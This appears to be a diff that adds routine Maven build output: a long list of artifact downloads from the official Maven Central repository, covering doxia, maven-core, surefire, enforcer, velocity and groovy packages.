+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-core/1.11.1/doxia-core-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-decoration-model/1.11.1/doxia-decoration-model-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-decoration-model/1.11.1/doxia-decoration-model-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-integration-tools/1.11.1/doxia-integration-tools-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-integration-tools/1.11.1/doxia-integration-tools-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.11.1/doxia-logging-api-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.12.0/doxia-logging-api-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.12.0/doxia-logging-api-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml/1.11.1/doxia-module-xhtml-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml/1.11.1/doxia-module-xhtml-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml5/1.11.1/doxia-module-xhtml5-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml5/1.11.1/doxia-module-xhtml5-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-modules/1.11.1/doxia-modules-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.11.1/doxia-sink-api-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.12.0/doxia-sink-api-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.12.0/doxia-sink-api-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-site-renderer/1.11.1/doxia-site-renderer-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-site-renderer/1.11.1/doxia-site-renderer-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sitetools/1.11.1/doxia-sitetools-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-skin-model/1.11.1/doxia-skin-model-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-skin-model/1.11.1/doxia-skin-model-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.11.1/doxia-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.12.0/doxia-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-api/3.5.0/enforcer-api-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-api/3.5.0/enforcer-api-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-rules/3.5.0/enforcer-rules-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-rules/3.5.0/enforcer-rules-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer/3.5.0/enforcer-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-archiver/3.1.1/maven-archiver-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-archiver/3.1.1/maven-archiver-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/3.0/maven-core-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/3.0/maven-core-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/3.0/maven-model-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/3.0/maven-model-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/10/maven-parent-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/11/maven-parent-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/15/maven-parent-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/16/maven-parent-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/22/maven-parent-22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/23/maven-parent-23.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/25/maven-parent-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/30/maven-parent-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/31/maven-parent-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/32/maven-parent-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/33/maven-parent-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/34/maven-parent-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/35/maven-parent-35.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/37/maven-parent-37.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/39/maven-parent-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/42/maven-parent-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/5/maven-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0/maven-plugin-api-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/3.0/maven-settings-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/1.0/maven-toolchain-1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/1.0/maven-toolchain-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.0.6/maven-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.0/maven-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/2.2.1/maven-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/3.0/maven-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven/3.8.8/maven-3.8.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-annotations/3.5.2/maven-plugin-annotations-3.5.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-annotations/3.5.2/maven-plugin-annotations-3.5.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugin-tools/maven-plugin-tools/3.5.2/maven-plugin-tools-3.5.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/3.1.0/maven-clean-plugin-3.1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/3.1.0/maven-clean-plugin-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-compiler-plugin/3.8.0/maven-compiler-plugin-3.8.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-compiler-plugin/3.8.0/maven-compiler-plugin-3.8.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-dependency-plugin/3.7.0/maven-dependency-plugin-3.7.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-dependency-plugin/3.7.0/maven-dependency-plugin-3.7.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/3.5.0/maven-enforcer-plugin-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/3.5.0/maven-enforcer-plugin-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-enforcer-plugin/maven-metadata.xml
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-jar-plugin/3.0.2/maven-jar-plugin-3.0.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-jar-plugin/3.0.2/maven-jar-plugin-3.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/30/maven-plugins-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/31/maven-plugins-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/32/maven-plugins-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/42/maven-plugins-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-resources-plugin/3.0.2/maven-resources-plugin-3.0.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-resources-plugin/3.0.2/maven-resources-plugin-3.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-surefire-plugin/2.22.1/maven-surefire-plugin-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-surefire-plugin/2.22.1/maven-surefire-plugin-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.1.1/maven-reporting-api-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-api/3.1.1/maven-reporting-api-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-impl/3.2.0/maven-reporting-impl-3.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting-impl/3.2.0/maven-reporting-impl-3.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-api/1.4.1/maven-resolver-api-1.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-api/1.4.1/maven-resolver-api-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-util/1.4.1/maven-resolver-util-1.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver-util/1.4.1/maven-resolver-util-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/resolver/maven-resolver/1.4.1/maven-resolver-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-artifact-transfer/0.13.1/maven-artifact-transfer-0.13.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-artifact-transfer/0.13.1/maven-artifact-transfer-0.13.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.1.0/maven-common-artifact-filters-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-analyzer/1.14.1/maven-dependency-analyzer-1.14.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-analyzer/1.14.1/maven-dependency-analyzer-1.14.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-tree/3.3.0/maven-dependency-tree-3.3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-dependency-tree/3.3.0/maven-dependency-tree-3.3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-filtering/3.1.1/maven-filtering-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-filtering/3.1.1/maven-filtering-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/21/maven-shared-components-21.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/30/maven-shared-components-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/33/maven-shared-components-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/34/maven-shared-components-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/37/maven-shared-components-37.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/39/maven-shared-components-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-components/42/maven-shared-components-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.0/maven-shared-utils-3.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.0/maven-shared-utils-3.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.1/maven-shared-utils-3.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.0.1/maven-shared-utils-3.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.1.0/maven-shared-utils-3.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.2.1/maven-shared-utils-3.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.2.1/maven-shared-utils-3.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.3.4/maven-shared-utils-3.3.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.4.2/maven-shared-utils-3.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/shared/maven-shared-utils/3.4.2/maven-shared-utils-3.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/maven-surefire-common/2.22.1/maven-surefire-common-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/maven-surefire-common/2.22.1/maven-surefire-common-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-api/2.22.1/surefire-api-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-api/2.22.1/surefire-api-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-booter/2.22.1/surefire-booter-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-booter/2.22.1/surefire-booter-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-logger-api/2.22.1/surefire-logger-api-2.22.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire-logger-api/2.22.1/surefire-logger-api-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/surefire/surefire/2.22.1/surefire-2.22.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/velocity/velocity/1.7/velocity-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/assertj/assertj-bom/3.25.3/assertj-bom-3.25.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy-xml/3.0.9/groovy-xml-3.0.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy-xml/3.0.9/groovy-xml-3.0.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy/3.0.9/groovy-3.0.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/groovy/groovy/3.0.9/groovy-3.0.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/exec-maven-plugin/1.1.1/exec-maven-plugin-1.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/exec-maven-plugin/1.1.1/exec-maven-plugin-1.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/mojo/mojo-parent/20/mojo-parent-20.pom
